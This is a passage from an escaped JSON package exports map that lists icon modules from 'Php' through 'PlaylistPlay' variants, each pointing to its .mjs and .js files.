\"./PhpOutlined.js\",\n      \"default\": \"./PhpOutlined.mjs\"\n    },\n    \"./PhpRounded\": {\n      \"import\": \"./PhpRounded.mjs\",\n      \"require\": \"./PhpRounded.js\",\n      \"default\": \"./PhpRounded.mjs\"\n    },\n    \"./PhpSharp\": {\n      \"import\": \"./PhpSharp.mjs\",\n      \"require\": \"./PhpSharp.js\",\n      \"default\": \"./PhpSharp.mjs\"\n    },\n    \"./PhpTwoTone\": {\n      \"import\": \"./PhpTwoTone.mjs\",\n      \"require\": \"./PhpTwoTone.js\",\n      \"default\": \"./PhpTwoTone.mjs\"\n    },\n    \"./Piano\": {\n      \"import\": \"./Piano.mjs\",\n      \"require\": \"./Piano.js\",\n      \"default\": \"./Piano.mjs\"\n    },\n    \"./PianoOff\": {\n      \"import\": \"./PianoOff.mjs\",\n      \"require\": \"./PianoOff.js\",\n      \"default\": \"./PianoOff.mjs\"\n    },\n    \"./PianoOffOutlined\": {\n      \"import\": \"./PianoOffOutlined.mjs\",\n      \"require\": \"./PianoOffOutlined.js\",\n      \"default\": \"./PianoOffOutlined.mjs\"\n    },\n    \"./PianoOffRounded\": {\n      \"import\": \"./PianoOffRounded.mjs\",\n      \"require\": \"./PianoOffRounded.js\",\n      \"default\": \"./PianoOffRounded.mjs\"\n    },\n    \"./PianoOffSharp\": {\n      \"import\": \"./PianoOffSharp.mjs\",\n      \"require\": \"./PianoOffSharp.js\",\n      \"default\": \"./PianoOffSharp.mjs\"\n    },\n    \"./PianoOffTwoTone\": {\n      \"import\": \"./PianoOffTwoTone.mjs\",\n      \"require\": \"./PianoOffTwoTone.js\",\n      \"default\": \"./PianoOffTwoTone.mjs\"\n    },\n    \"./PianoOutlined\": {\n      \"import\": \"./PianoOutlined.mjs\",\n      \"require\": \"./PianoOutlined.js\",\n      \"default\": \"./PianoOutlined.mjs\"\n    },\n    \"./PianoRounded\": {\n      \"import\": \"./PianoRounded.mjs\",\n      \"require\": \"./PianoRounded.js\",\n      \"default\": \"./PianoRounded.mjs\"\n    },\n    \"./PianoSharp\": {\n      \"import\": \"./PianoSharp.mjs\",\n      \"require\": \"./PianoSharp.js\",\n      \"default\": \"./PianoSharp.mjs\"\n    },\n    \"./PianoTwoTone\": {\n      \"import\": \"./PianoTwoTone.mjs\",\n      \"require\": \"./PianoTwoTone.js\",\n      \"default\": \"./PianoTwoTone.mjs\"\n    },\n    \"./PictureAsPdf\": {\n      \"import\": \"./PictureAsPdf.mjs\",\n      \"require\": \"./PictureAsPdf.js\",\n      \"default\": \"./PictureAsPdf.mjs\"\n    },\n    \"./PictureAsPdfOutlined\": {\n      \"require\": \"./PictureAsPdfOutlined.js\",\n      \"import\": \"./PictureAsPdfOutlined.mjs\",\n      \"default\": \"./PictureAsPdfOutlined.mjs\"\n    },\n    \"./PictureAsPdfRounded\": {\n      \"require\": \"./PictureAsPdfRounded.js\",\n      \"import\": \"./PictureAsPdfRounded.mjs\",\n      \"default\": \"./PictureAsPdfRounded.mjs\"\n    },\n    \"./PictureAsPdfSharp\": {\n      \"require\": \"./PictureAsPdfSharp.js\",\n      \"import\": \"./PictureAsPdfSharp.mjs\",\n      \"default\": \"./PictureAsPdfSharp.mjs\"\n    },\n    \"./PictureAsPdfTwoTone\": {\n      \"require\": \"./PictureAsPdfTwoTone.js\",\n      \"import\": \"./PictureAsPdfTwoTone.mjs\",\n      \"default\": \"./PictureAsPdfTwoTone.mjs\"\n    },\n    \"./PictureInPicture\": {\n      \"require\": \"./PictureInPicture.js\",\n      \"import\": \"./PictureInPicture.mjs\",\n      \"default\": \"./PictureInPicture.mjs\"\n    },\n    \"./PictureInPictureAlt\": {\n      \"require\": \"./PictureInPictureAlt.js\",\n      \"import\": \"./PictureInPictureAlt.mjs\",\n      \"default\": \"./PictureInPictureAlt.mjs\"\n    },\n    \"./PictureInPictureAltOutlined\": {\n      \"require\": \"./PictureInPictureAltOutlined.js\",\n      \"import\": \"./PictureInPictureAltOutlined.mjs\",\n      \"default\": \"./PictureInPictureAltOutlined.mjs\"\n    },\n    \"./PictureInPictureAltRounded\": {\n      \"require\": \"./PictureInPictureAltRounded.js\",\n      \"import\": \"./PictureInPictureAltRounded.mjs\",\n      \"default\": \"./PictureInPictureAltRounded.mjs\"\n    },\n    \"./PictureInPictureAltSharp\": {\n      \"require\": \"./PictureInPictureAltSharp.js\",\n      \"import\": \"./PictureInPictureAltSharp.mjs\",\n      \"default\": \"./PictureInPictureAltSharp.mjs\"\n    },\n    \"./PictureInPictureAltTwoTone\": {\n      \"require\": \"./PictureInPictureAltTwoTone.js\",\n      \"import\": \"./PictureInPictureAltTwoTone.mjs\",\n      \"default\": \"./PictureInPictureAltTwoTone.mjs\"\n    },\n    \"./PictureInPictureOutlined\": {\n      \"require\": \"./PictureInPictureOutlined.js\",\n      \"import\": \"./PictureInPictureOutlined.mjs\",\n      \"default\": \"./PictureInPictureOutlined.mjs\"\n    },\n    \"./PictureInPictureRounded\": {\n      \"require\": \"./PictureInPictureRounded.js\",\n      \"import\": \"./PictureInPictureRounded.mjs\",\n      \"default\": \"./PictureInPictureRounded.mjs\"\n    },\n    \"./PictureInPictureSharp\": {\n      \"require\": \"./PictureInPictureSharp.js\",\n      \"import\": \"./PictureInPictureSharp.mjs\",\n      \"default\": \"./PictureInPictureSharp.mjs\"\n    },\n    \"./PictureInPictureTwoTone\": {\n      \"require\": \"./PictureInPictureTwoTone.js\",\n      \"import\": \"./PictureInPictureTwoTone.mjs\",\n      \"default\": \"./PictureInPictureTwoTone.mjs\"\n    },\n    \"./PieChart\": {\n      \"require\": \"./PieChart.js\",\n      \"import\": \"./PieChart.mjs\",\n      \"default\": \"./PieChart.mjs\"\n    },\n    \"./PieChartOutline\": {\n      \"require\": \"./PieChartOutline.js\",\n      \"import\": \"./PieChartOutline.mjs\",\n      \"default\": \"./PieChartOutline.mjs\"\n    },\n    \"./PieChartOutlineOutlined\": {\n      \"require\": \"./PieChartOutlineOutlined.js\",\n      \"import\": \"./PieChartOutlineOutlined.mjs\",\n      \"default\": \"./PieChartOutlineOutlined.mjs\"\n    },\n    \"./PieChartOutlineRounded\": {\n      \"require\": \"./PieChartOutlineRounded.js\",\n      \"import\": \"./PieChartOutlineRounded.mjs\",\n      \"default\": \"./PieChartOutlineRounded.mjs\"\n    },\n    \"./PieChartOutlineSharp\": {\n      \"require\": \"./PieChartOutlineSharp.js\",\n      \"import\": \"./PieChartOutlineSharp.mjs\",\n      \"default\": \"./PieChartOutlineSharp.mjs\"\n    },\n    \"./PieChartOutlineTwoTone\": {\n      \"import\": \"./PieChartOutlineTwoTone.mjs\",\n      \"require\": \"./PieChartOutlineTwoTone.js\",\n      \"default\": \"./PieChartOutlineTwoTone.mjs\"\n    },\n    \"./PieChartOutlined\": {\n      \"import\": \"./PieChartOutlined.mjs\",\n      \"require\": \"./PieChartOutlined.js\",\n      \"default\": \"./PieChartOutlined.mjs\"\n    },\n    \"./PieChartRounded\": {\n      \"import\": \"./PieChartRounded.mjs\",\n      \"require\": \"./PieChartRounded.js\",\n      \"default\": \"./PieChartRounded.mjs\"\n    },\n    \"./PieChartSharp\": {\n      \"import\": \"./PieChartSharp.mjs\",\n      \"require\": \"./PieChartSharp.js\",\n      \"default\": \"./PieChartSharp.mjs\"\n    },\n    \"./PieChartTwoTone\": {\n      \"import\": \"./PieChartTwoTone.mjs\",\n      \"require\": \"./PieChartTwoTone.js\",\n      \"default\": \"./PieChartTwoTone.mjs\"\n    },\n    \"./Pin\": {\n      \"import\": \"./Pin.mjs\",\n      \"require\": \"./Pin.js\",\n      \"default\": \"./Pin.mjs\"\n    },\n    \"./PinDrop\": {\n      \"import\": \"./PinDrop.mjs\",\n      \"require\": \"./PinDrop.js\",\n      \"default\": \"./PinDrop.mjs\"\n    },\n    \"./PinDropOutlined\": {\n      \"import\": \"./PinDropOutlined.mjs\",\n      \"require\": \"./PinDropOutlined.js\",\n      \"default\": \"./PinDropOutlined.mjs\"\n    },\n    \"./PinDropRounded\": {\n      \"import\": \"./PinDropRounded.mjs\",\n      \"require\": \"./PinDropRounded.js\",\n      \"default\": \"./PinDropRounded.mjs\"\n    },\n    \"./PinDropSharp\": {\n      \"import\": \"./PinDropSharp.mjs\",\n      \"require\": \"./PinDropSharp.js\",\n      \"default\": \"./PinDropSharp.mjs\"\n    },\n    \"./PinDropTwoTone\": {\n      \"import\": \"./PinDropTwoTone.mjs\",\n      \"require\": \"./PinDropTwoTone.js\",\n      \"default\": \"./PinDropTwoTone.mjs\"\n    },\n    \"./PinEnd\": {\n      \"import\": \"./PinEnd.mjs\",\n      \"require\": \"./PinEnd.js\",\n      \"default\": \"./PinEnd.mjs\"\n    },\n    \"./PinEndOutlined\": {\n      \"require\": \"./PinEndOutlined.js\",\n      \"import\": \"./PinEndOutlined.mjs\",\n      \"default\": \"./PinEndOutlined.mjs\"\n    },\n    \"./PinEndRounded\": {\n      \"require\": \"./PinEndRounded.js\",\n      \"import\": \"./PinEndRounded.mjs\",\n      \"default\": \"./PinEndRounded.mjs\"\n    },\n    \"./PinEndSharp\": {\n      \"require\": \"./PinEndSharp.js\",\n      \"import\": \"./PinEndSharp.mjs\",\n      \"default\": \"./PinEndSharp.mjs\"\n    },\n    \"./PinEndTwoTone\": {\n      \"require\": \"./PinEndTwoTone.js\",\n      \"import\": \"./PinEndTwoTone.mjs\",\n      \"default\": \"./PinEndTwoTone.mjs\"\n    },\n    \"./PinInvoke\": {\n      \"import\": \"./PinInvoke.mjs\",\n      \"require\": \"./PinInvoke.js\",\n      \"default\": \"./PinInvoke.mjs\"\n    },\n    \"./PinInvokeOutlined\": {\n      \"import\": \"./PinInvokeOutlined.mjs\",\n      \"require\": \"./PinInvokeOutlined.js\",\n      \"default\": \"./PinInvokeOutlined.mjs\"\n    },\n    \"./PinInvokeRounded\": {\n      \"import\": \"./PinInvokeRounded.mjs\",\n      \"require\": \"./PinInvokeRounded.js\",\n      \"default\": \"./PinInvokeRounded.mjs\"\n    },\n    \"./PinInvokeSharp\": {\n      \"import\": \"./PinInvokeSharp.mjs\",\n      \"require\": \"./PinInvokeSharp.js\",\n      \"default\": \"./PinInvokeSharp.mjs\"\n    },\n    \"./PinInvokeTwoTone\": {\n      \"import\": \"./PinInvokeTwoTone.mjs\",\n      \"require\": \"./PinInvokeTwoTone.js\",\n      \"default\": \"./PinInvokeTwoTone.mjs\"\n    },\n    \"./PinOutlined\": {\n      \"import\": \"./PinOutlined.mjs\",\n      \"require\": \"./PinOutlined.js\",\n      \"default\": \"./PinOutlined.mjs\"\n    },\n    \"./PinRounded\": {\n      \"import\": \"./PinRounded.mjs\",\n      \"require\": \"./PinRounded.js\",\n      \"default\": \"./PinRounded.mjs\"\n    },\n    \"./PinSharp\": {\n      \"import\": \"./PinSharp.mjs\",\n      \"require\": \"./PinSharp.js\",\n      \"default\": \"./PinSharp.mjs\"\n    },\n    \"./PinTwoTone\": {\n      \"import\": \"./PinTwoTone.mjs\",\n      \"require\": \"./PinTwoTone.js\",\n      \"default\": \"./PinTwoTone.mjs\"\n    },\n    \"./Pinch\": {\n      \"require\": \"./Pinch.js\",\n      \"import\": \"./Pinch.mjs\",\n      \"default\": \"./Pinch.mjs\"\n    },\n    \"./PinchOutlined\": {\n      \"require\": \"./PinchOutlined.js\",\n      \"import\": \"./PinchOutlined.mjs\",\n      \"default\": \"./PinchOutlined.mjs\"\n    },\n    \"./PinchRounded\": {\n      \"require\": \"./PinchRounded.js\",\n      \"import\": \"./PinchRounded.mjs\",\n      \"default\": \"./PinchRounded.mjs\"\n    },\n    \"./PinchSharp\": {\n      \"require\": \"./PinchSharp.js\",\n      \"import\": \"./PinchSharp.mjs\",\n      \"default\": \"./PinchSharp.mjs\"\n    },\n    \"./PinchTwoTone\": {\n      \"require\": \"./PinchTwoTone.js\",\n      \"import\": \"./PinchTwoTone.mjs\",\n      \"default\": \"./PinchTwoTone.mjs\"\n    },\n    \"./Pinterest\": {\n      \"require\": \"./Pinterest.js\",\n      \"import\": \"./Pinterest.mjs\",\n      \"default\": \"./Pinterest.mjs\"\n    },\n    \"./PivotTableChart\": {\n      \"require\": \"./PivotTableChart.js\",\n      \"import\": \"./PivotTableChart.mjs\",\n      \"default\": \"./PivotTableChart.mjs\"\n    },\n    \"./PivotTableChartOutlined\": {\n      \"require\": \"./PivotTableChartOutlined.js\",\n      \"import\": \"./PivotTableChartOutlined.mjs\",\n      \"default\": \"./PivotTableChartOutlined.mjs\"\n    },\n    \"./PivotTableChartRounded\": {\n      \"require\": \"./PivotTableChartRounded.js\",\n      \"import\": \"./PivotTableChartRounded.mjs\",\n      \"default\": \"./PivotTableChartRounded.mjs\"\n    },\n    \"./PivotTableChartSharp\": {\n      \"require\": \"./PivotTableChartSharp.js\",\n      \"import\": \"./PivotTableChartSharp.mjs\",\n      \"default\": \"./PivotTableChartSharp.mjs\"\n    },\n    \"./PivotTableChartTwoTone\": {\n      \"require\": \"./PivotTableChartTwoTone.js\",\n      \"import\": \"./PivotTableChartTwoTone.mjs\",\n      \"default\": \"./PivotTableChartTwoTone.mjs\"\n    },\n    \"./Pix\": {\n      \"require\": \"./Pix.js\",\n      \"import\": \"./Pix.mjs\",\n      \"default\": \"./Pix.mjs\"\n    },\n    \"./PixOutlined\": {\n      \"require\": \"./PixOutlined.js\",\n      \"import\": \"./PixOutlined.mjs\",\n      \"default\": \"./PixOutlined.mjs\"\n    },\n    \"./PixRounded\": {\n      \"require\": \"./PixRounded.js\",\n      \"import\": \"./PixRounded.mjs\",\n      \"default\": \"./PixRounded.mjs\"\n    },\n    \"./PixSharp\": {\n      \"import\": \"./PixSharp.mjs\",\n      \"require\": \"./PixSharp.js\",\n      \"default\": \"./PixSharp.mjs\"\n    },\n    \"./PixTwoTone\": {\n      \"import\": \"./PixTwoTone.mjs\",\n      \"require\": \"./PixTwoTone.js\",\n      \"default\": \"./PixTwoTone.mjs\"\n    },\n    \"./Place\": {\n      \"import\": \"./Place.mjs\",\n      \"require\": \"./Place.js\",\n      \"default\": \"./Place.mjs\"\n    },\n    \"./PlaceOutlined\": {\n      \"import\": \"./PlaceOutlined.mjs\",\n      \"require\": \"./PlaceOutlined.js\",\n      \"default\": \"./PlaceOutlined.mjs\"\n    },\n    \"./PlaceRounded\": {\n      \"import\": \"./PlaceRounded.mjs\",\n      \"require\": \"./PlaceRounded.js\",\n      \"default\": \"./PlaceRounded.mjs\"\n    },\n    \"./PlaceSharp\": {\n      \"import\": \"./PlaceSharp.mjs\",\n      \"require\": \"./PlaceSharp.js\",\n      \"default\": \"./PlaceSharp.mjs\"\n    },\n    \"./PlaceTwoTone\": {\n      \"import\": \"./PlaceTwoTone.mjs\",\n      \"require\": \"./PlaceTwoTone.js\",\n      \"default\": \"./PlaceTwoTone.mjs\"\n    },\n    \"./Plagiarism\": {\n      \"import\": \"./Plagiarism.mjs\",\n      \"require\": \"./Plagiarism.js\",\n      \"default\": \"./Plagiarism.mjs\"\n    },\n    \"./PlagiarismOutlined\": {\n      \"import\": \"./PlagiarismOutlined.mjs\",\n      \"require\": \"./PlagiarismOutlined.js\",\n      \"default\": \"./PlagiarismOutlined.mjs\"\n    },\n    \"./PlagiarismRounded\": {\n      \"require\": \"./PlagiarismRounded.js\",\n      \"import\": \"./PlagiarismRounded.mjs\",\n      \"default\": \"./PlagiarismRounded.mjs\"\n    },\n    \"./PlagiarismSharp\": {\n      \"import\": \"./PlagiarismSharp.mjs\",\n      \"require\": \"./PlagiarismSharp.js\",\n      \"default\": \"./PlagiarismSharp.mjs\"\n    },\n    \"./PlagiarismTwoTone\": {\n      \"import\": \"./PlagiarismTwoTone.mjs\",\n      \"require\": \"./PlagiarismTwoTone.js\",\n      \"default\": \"./PlagiarismTwoTone.mjs\"\n    },\n    \"./PlayArrow\": {\n      \"import\": \"./PlayArrow.mjs\",\n      \"require\": \"./PlayArrow.js\",\n      \"default\": \"./PlayArrow.mjs\"\n    },\n    \"./PlayArrowOutlined\": {\n      \"require\": \"./PlayArrowOutlined.js\",\n      \"import\": \"./PlayArrowOutlined.mjs\",\n      \"default\": \"./PlayArrowOutlined.mjs\"\n    },\n    \"./PlayArrowRounded\": {\n      \"require\": \"./PlayArrowRounded.js\",\n      \"import\": \"./PlayArrowRounded.mjs\",\n      \"default\": \"./PlayArrowRounded.mjs\"\n    },\n    \"./PlayArrowSharp\": {\n      \"import\": \"./PlayArrowSharp.mjs\",\n      \"require\": \"./PlayArrowSharp.js\",\n      \"default\": \"./PlayArrowSharp.mjs\"\n    },\n    \"./PlayArrowTwoTone\": {\n      \"import\": \"./PlayArrowTwoTone.mjs\",\n      \"require\": \"./PlayArrowTwoTone.js\",\n      \"default\": \"./PlayArrowTwoTone.mjs\"\n    },\n    \"./PlayCircle\": {\n      \"require\": \"./PlayCircle.js\",\n      \"import\": \"./PlayCircle.mjs\",\n      \"default\": \"./PlayCircle.mjs\"\n    },\n    \"./PlayCircleFilled\": {\n      \"require\": \"./PlayCircleFilled.js\",\n      \"import\": \"./PlayCircleFilled.mjs\",\n      \"default\": \"./PlayCircleFilled.mjs\"\n    },\n    \"./PlayCircleFilledOutlined\": {\n      \"require\": \"./PlayCircleFilledOutlined.js\",\n      \"import\": \"./PlayCircleFilledOutlined.mjs\",\n      \"default\": \"./PlayCircleFilledOutlined.mjs\"\n    },\n    \"./PlayCircleFilledRounded\": {\n      \"require\": \"./PlayCircleFilledRounded.js\",\n      \"import\": \"./PlayCircleFilledRounded.mjs\",\n      \"default\": \"./PlayCircleFilledRounded.mjs\"\n    },\n    \"./PlayCircleFilledSharp\": {\n      \"import\": \"./PlayCircleFilledSharp.mjs\",\n      \"require\": \"./PlayCircleFilledSharp.js\",\n      \"default\": \"./PlayCircleFilledSharp.mjs\"\n    },\n    \"./PlayCircleFilledTwoTone\": {\n      \"import\": \"./PlayCircleFilledTwoTone.mjs\",\n      \"require\": \"./PlayCircleFilledTwoTone.js\",\n      \"default\": \"./PlayCircleFilledTwoTone.mjs\"\n    },\n    \"./PlayCircleFilledWhite\": {\n      \"import\": \"./PlayCircleFilledWhite.mjs\",\n      \"require\": \"./PlayCircleFilledWhite.js\",\n      \"default\": \"./PlayCircleFilledWhite.mjs\"\n    },\n    \"./PlayCircleFilledWhiteOutlined\": {\n      \"import\": \"./PlayCircleFilledWhiteOutlined.mjs\",\n      \"require\": \"./PlayCircleFilledWhiteOutlined.js\",\n      \"default\": \"./PlayCircleFilledWhiteOutlined.mjs\"\n    },\n    \"./PlayCircleFilledWhiteRounded\": {\n      \"import\": \"./PlayCircleFilledWhiteRounded.mjs\",\n      \"require\": \"./PlayCircleFilledWhiteRounded.js\",\n      \"default\": \"./PlayCircleFilledWhiteRounded.mjs\"\n    },\n    \"./PlayCircleFilledWhiteSharp\": {\n      \"import\": \"./PlayCircleFilledWhiteSharp.mjs\",\n      \"require\": \"./PlayCircleFilledWhiteSharp.js\",\n      \"default\": \"./PlayCircleFilledWhiteSharp.mjs\"\n    },\n    \"./PlayCircleFilledWhiteTwoTone\": {\n      \"import\": \"./PlayCircleFilledWhiteTwoTone.mjs\",\n      \"require\": \"./PlayCircleFilledWhiteTwoTone.js\",\n      \"default\": \"./PlayCircleFilledWhiteTwoTone.mjs\"\n    },\n    \"./PlayCircleOutline\": {\n      \"import\": \"./PlayCircleOutline.mjs\",\n      \"require\": \"./PlayCircleOutline.js\",\n      \"default\": \"./PlayCircleOutline.mjs\"\n    },\n    \"./PlayCircleOutlineOutlined\": {\n      \"import\": \"./PlayCircleOutlineOutlined.mjs\",\n      \"require\": \"./PlayCircleOutlineOutlined.js\",\n      \"default\": \"./PlayCircleOutlineOutlined.mjs\"\n    },\n    \"./PlayCircleOutlineRounded\": {\n      \"import\": \"./PlayCircleOutlineRounded.mjs\",\n      \"require\": \"./PlayCircleOutlineRounded.js\",\n      \"default\": \"./PlayCircleOutlineRounded.mjs\"\n    },\n    \"./PlayCircleOutlineSharp\": {\n      \"import\": \"./PlayCircleOutlineSharp.mjs\",\n      \"require\": \"./PlayCircleOutlineSharp.js\",\n      \"default\": \"./PlayCircleOutlineSharp.mjs\"\n    },\n    \"./PlayCircleOutlineTwoTone\": {\n      \"require\": \"./PlayCircleOutlineTwoTone.js\",\n      \"import\": \"./PlayCircleOutlineTwoTone.mjs\",\n      \"default\": \"./PlayCircleOutlineTwoTone.mjs\"\n    },\n    \"./PlayCircleOutlined\": {\n      \"require\": \"./PlayCircleOutlined.js\",\n      \"import\": \"./PlayCircleOutlined.mjs\",\n      \"default\": \"./PlayCircleOutlined.mjs\"\n    },\n    \"./PlayCircleRounded\": {\n      \"require\": \"./PlayCircleRounded.js\",\n      \"import\": \"./PlayCircleRounded.mjs\",\n      \"default\": \"./PlayCircleRounded.mjs\"\n    },\n    \"./PlayCircleSharp\": {\n      \"require\": \"./PlayCircleSharp.js\",\n      \"import\": \"./PlayCircleSharp.mjs\",\n      \"default\": \"./PlayCircleSharp.mjs\"\n    },\n    \"./PlayCircleTwoTone\": {\n      \"require\": \"./PlayCircleTwoTone.js\",\n      \"import\": \"./PlayCircleTwoTone.mjs\",\n      \"default\": \"./PlayCircleTwoTone.mjs\"\n    },\n    \"./PlayDisabled\": {\n      \"require\": \"./PlayDisabled.js\",\n      \"import\": \"./PlayDisabled.mjs\",\n      \"default\": \"./PlayDisabled.mjs\"\n    },\n    \"./PlayDisabledOutlined\": {\n      \"import\": \"./PlayDisabledOutlined.mjs\",\n      \"require\": \"./PlayDisabledOutlined.js\",\n      \"default\": \"./PlayDisabledOutlined.mjs\"\n    },\n    \"./PlayDisabledRounded\": {\n      \"import\": \"./PlayDisabledRounded.mjs\",\n      \"require\": \"./PlayDisabledRounded.js\",\n      \"default\": \"./PlayDisabledRounded.mjs\"\n    },\n    \"./PlayDisabledSharp\": {\n      \"import\": \"./PlayDisabledSharp.mjs\",\n      \"require\": \"./PlayDisabledSharp.js\",\n      \"default\": \"./PlayDisabledSharp.mjs\"\n    },\n    \"./PlayDisabledTwoTone\": {\n      \"import\": \"./PlayDisabledTwoTone.mjs\",\n      \"require\": \"./PlayDisabledTwoTone.js\",\n      \"default\": \"./PlayDisabledTwoTone.mjs\"\n    },\n    \"./PlayForWork\": {\n      \"import\": \"./PlayForWork.mjs\",\n      \"require\": \"./PlayForWork.js\",\n      \"default\": \"./PlayForWork.mjs\"\n    },\n    \"./PlayForWorkOutlined\": {\n      \"import\": \"./PlayForWorkOutlined.mjs\",\n      \"require\": \"./PlayForWorkOutlined.js\",\n      \"default\": \"./PlayForWorkOutlined.mjs\"\n    },\n    \"./PlayForWorkRounded\": {\n      \"import\": \"./PlayForWorkRounded.mjs\",\n      \"require\": \"./PlayForWorkRounded.js\",\n      \"default\": \"./PlayForWorkRounded.mjs\"\n    },\n    \"./PlayForWorkSharp\": {\n      \"import\": \"./PlayForWorkSharp.mjs\",\n      \"require\": \"./PlayForWorkSharp.js\",\n      \"default\": \"./PlayForWorkSharp.mjs\"\n    },\n    \"./PlayForWorkTwoTone\": {\n      \"import\": \"./PlayForWorkTwoTone.mjs\",\n      \"require\": \"./PlayForWorkTwoTone.js\",\n      \"default\": \"./PlayForWorkTwoTone.mjs\"\n    },\n    \"./PlayLesson\": {\n      \"import\": \"./PlayLesson.mjs\",\n      \"require\": \"./PlayLesson.js\",\n      \"default\": \"./PlayLesson.mjs\"\n    },\n    \"./PlayLessonOutlined\": {\n      \"import\": \"./PlayLessonOutlined.mjs\",\n      \"require\": \"./PlayLessonOutlined.js\",\n      \"default\": \"./PlayLessonOutlined.mjs\"\n    },\n    \"./PlayLessonRounded\": {\n      \"import\": \"./PlayLessonRounded.mjs\",\n      \"require\": \"./PlayLessonRounded.js\",\n      \"default\": \"./PlayLessonRounded.mjs\"\n    },\n    \"./PlayLessonSharp\": {\n      \"import\": \"./PlayLessonSharp.mjs\",\n      \"require\": \"./PlayLessonSharp.js\",\n      \"default\": \"./PlayLessonSharp.mjs\"\n    },\n    \"./PlayLessonTwoTone\": {\n      \"import\": \"./PlayLessonTwoTone.mjs\",\n      \"require\": \"./PlayLessonTwoTone.js\",\n      \"default\": \"./PlayLessonTwoTone.mjs\"\n    },\n    \"./PlaylistAdd\": {\n      \"import\": \"./PlaylistAdd.mjs\",\n      \"require\": \"./PlaylistAdd.js\",\n      \"default\": \"./PlaylistAdd.mjs\"\n    },\n    \"./PlaylistAddCheck\": {\n      \"require\": \"./PlaylistAddCheck.js\",\n      \"import\": \"./PlaylistAddCheck.mjs\",\n      \"default\": \"./PlaylistAddCheck.mjs\"\n    },\n    \"./PlaylistAddCheckCircle\": {\n      \"require\": \"./PlaylistAddCheckCircle.js\",\n      \"import\": \"./PlaylistAddCheckCircle.mjs\",\n      \"default\": \"./PlaylistAddCheckCircle.mjs\"\n    },\n    \"./PlaylistAddCheckCircleOutlined\": {\n      \"require\": \"./PlaylistAddCheckCircleOutlined.js\",\n      \"import\": \"./PlaylistAddCheckCircleOutlined.mjs\",\n      \"default\": \"./PlaylistAddCheckCircleOutlined.mjs\"\n    },\n    \"./PlaylistAddCheckCircleRounded\": {\n      \"require\": \"./PlaylistAddCheckCircleRounded.js\",\n      \"import\": \"./PlaylistAddCheckCircleRounded.mjs\",\n      \"default\": \"./PlaylistAddCheckCircleRounded.mjs\"\n    },\n    \"./PlaylistAddCheckCircleSharp\": {\n      \"require\": \"./PlaylistAddCheckCircleSharp.js\",\n      \"import\": \"./PlaylistAddCheckCircleSharp.mjs\",\n      \"default\": \"./PlaylistAddCheckCircleSharp.mjs\"\n    },\n    \"./PlaylistAddCheckCircleTwoTone\": {\n      \"require\": \"./PlaylistAddCheckCircleTwoTone.js\",\n      \"import\": \"./PlaylistAddCheckCircleTwoTone.mjs\",\n      \"default\": \"./PlaylistAddCheckCircleTwoTone.mjs\"\n    },\n    \"./PlaylistAddCheckOutlined\": {\n      \"require\": \"./PlaylistAddCheckOutlined.js\",\n      \"import\": \"./PlaylistAddCheckOutlined.mjs\",\n      \"default\": \"./PlaylistAddCheckOutlined.mjs\"\n    },\n    \"./PlaylistAddCheckRounded\": {\n      \"require\": \"./PlaylistAddCheckRounded.js\",\n      \"import\": \"./PlaylistAddCheckRounded.mjs\",\n      \"default\": \"./PlaylistAddCheckRounded.mjs\"\n    },\n    \"./PlaylistAddCheckSharp\": {\n      \"require\": \"./PlaylistAddCheckSharp.js\",\n      \"import\": \"./PlaylistAddCheckSharp.mjs\",\n      \"default\": \"./PlaylistAddCheckSharp.mjs\"\n    },\n    \"./PlaylistAddCheckTwoTone\": {\n      \"require\": \"./PlaylistAddCheckTwoTone.js\",\n      \"import\": \"./PlaylistAddCheckTwoTone.mjs\",\n      \"default\": \"./PlaylistAddCheckTwoTone.mjs\"\n    },\n    \"./PlaylistAddCircle\": {\n      \"require\": \"./PlaylistAddCircle.js\",\n      \"import\": \"./PlaylistAddCircle.mjs\",\n      \"default\": \"./PlaylistAddCircle.mjs\"\n    },\n    \"./PlaylistAddCircleOutlined\": {\n      \"require\": \"./PlaylistAddCircleOutlined.js\",\n      \"import\": \"./PlaylistAddCircleOutlined.mjs\",\n      \"default\": \"./PlaylistAddCircleOutlined.mjs\"\n    },\n    \"./PlaylistAddCircleRounded\": {\n      \"require\": \"./PlaylistAddCircleRounded.js\",\n      \"import\": \"./PlaylistAddCircleRounded.mjs\",\n      \"default\": \"./PlaylistAddCircleRounded.mjs\"\n    },\n    \"./PlaylistAddCircleSharp\": {\n      \"require\": \"./PlaylistAddCircleSharp.js\",\n      \"import\": \"./PlaylistAddCircleSharp.mjs\",\n      \"default\": \"./PlaylistAddCircleSharp.mjs\"\n    },\n    \"./PlaylistAddCircleTwoTone\": {\n      \"require\": \"./PlaylistAddCircleTwoTone.js\",\n      \"import\": \"./PlaylistAddCircleTwoTone.mjs\",\n      \"default\": \"./PlaylistAddCircleTwoTone.mjs\"\n    },\n    \"./PlaylistAddOutlined\": {\n      \"require\": \"./PlaylistAddOutlined.js\",\n      \"import\": \"./PlaylistAddOutlined.mjs\",\n      \"default\": \"./PlaylistAddOutlined.mjs\"\n    },\n    \"./PlaylistAddRounded\": {\n      \"require\": \"./PlaylistAddRounded.js\",\n      \"import\": \"./PlaylistAddRounded.mjs\",\n      \"default\": \"./PlaylistAddRounded.mjs\"\n    },\n    \"./PlaylistAddSharp\": {\n      \"require\": \"./PlaylistAddSharp.js\",\n      \"import\": \"./PlaylistAddSharp.mjs\",\n      \"default\": \"./PlaylistAddSharp.mjs\"\n    },\n    \"./PlaylistAddTwoTone\": {\n      \"require\": \"./PlaylistAddTwoTone.js\",\n      \"import\": \"./PlaylistAddTwoTone.mjs\",\n      \"default\": \"./PlaylistAddTwoTone.mjs\"\n    },\n    \"./PlaylistPlay\": {\n      \"require\": \"./PlaylistPlay.js\",\n      \"import\": \"./PlaylistPlay.mjs\",\n      \"default\": \"./PlaylistPlay.mjs\"\n    },\n    \"./PlaylistPlayOutlined\": {\n      \"require\": \"./PlaylistPlayOutlined.js\",\n      \"import\": \"./PlaylistPlayOutlined.mjs\",\n      \"default\": \"./PlaylistPlayOutlined.mjs\"\n    },\n    \"./PlaylistPlayRounded\": {\n      \"require\": \"./PlaylistPlayRounded.js\",\n      \"import\": \"./PlaylistPlayRounded.mjs\",\n      \"default\": \"./PlaylistPlayRounded.mjs\"\n    },\n    \"./PlaylistPlaySharp\": {\n      \"require\": \"./PlaylistPlaySharp.js\",\n      \"import\": \"./PlaylistPlaySharp.mjs\",\n      \"default\": \"./PlaylistPlaySharp.mjs\"\n    },\n    \"./PlaylistPlayTwoTone\": {\n      \"require\": \"./PlaylistPlayTwoTone.js\",\n      \"import\": \"./PlaylistPlayTwoTone.mjs\",\n      \"default\": 